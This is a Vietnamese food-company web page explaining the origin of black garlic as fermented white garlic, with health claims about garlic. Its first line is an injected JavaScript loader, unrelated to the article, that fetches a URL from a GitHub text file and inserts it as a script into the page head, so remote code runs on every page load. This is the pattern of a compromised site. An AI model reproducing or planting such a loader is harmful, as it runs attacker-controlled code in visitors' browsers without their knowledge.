;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Nguồn góc của tỏi đen - Tây Đô Food Việt Nam

Nguồn góc của tỏi đen

Tỏi đen không phải là sản phẩm thu hoạch trực tiếp từ tự nhiên mà nguồn gốc của tỏi đen là thông qua quá trình chế biến tỏi thường, chúng ta thu được tỏi đen.

Tỏi là một loại gia vị tự nhiên có sự bắt nguồn từ khu vực vùng Trung Á. Loại thực vật này đã gắn liền với đời sống con người, nhất là hai lĩnh vực y học và thực phẩm trong hơn 7000 năm qua.

Ngay từ thời xa xưa, con người đã biết sử dụng tỏi như là một loại gia vị tuyệt vời để chế biến món ăn, giúp món ăn được gia tăng hương vị hay dùng để chống lại các tình trạng khó chịu, nhiễm ký sinh trùng.

Ngày nay, nhiều nghiên cứu đã chứng minh tỏi có nhiều công dụng với sức khỏe con người. Một thử nghiệm đối chứng ngẫu nhiên mù đôi ở Nhật Bản trên bệnh nhân bị u tuyến đại trực tràng cho kết quả: nhóm sử dụng liều cao hơn chiết xuất tỏi già có khả năng giảm  50% nguy cơ mắc u tuyến đại trực tràng mới so với nhóm sử dụng liều thấp hơn [1].

Trong tỏi có chứa nhiều hoạt chất có lợi cho sức khỏe như chống oxy hóa, ngăn ngừa và kìm hãm sự phát triển của các tế bào ung thư,…

Có nhiều người cho rằng tỏi đen là một loại tỏi trong tự nhiên nhưng cách hiểu về nguồn gốc của tỏi đen như vậy là chưa đúng. Thực chất, tỏi đen là sản phẩm của quá trình lên men tỏi trắng trong điều kiện nhiệt độ và độ ẩm được kiểm soát chặt chẽ. Quá trình này thường diễn ra trong khoảng thời gian từ 60 đến 90 ngày tùy thuộc vào cơ sở lên men khác nhau.

Như vậy, nguồn gốc của tỏi đen là từ tỏi thông thường. Qua quá trình lên men, tỏi đen khắc phục được những nhược điểm của tỏi trắng như vị cay nồng hay mùi hôi khó chịu. Đồng thời, trải qua quá trình lên men, hàm lượng hoạt chất trong tỏi đen tăng lên nhiều lần khiến cho tỏi đen có hoạt tính sinh học cao gấp nhiều lần tỏi trắng.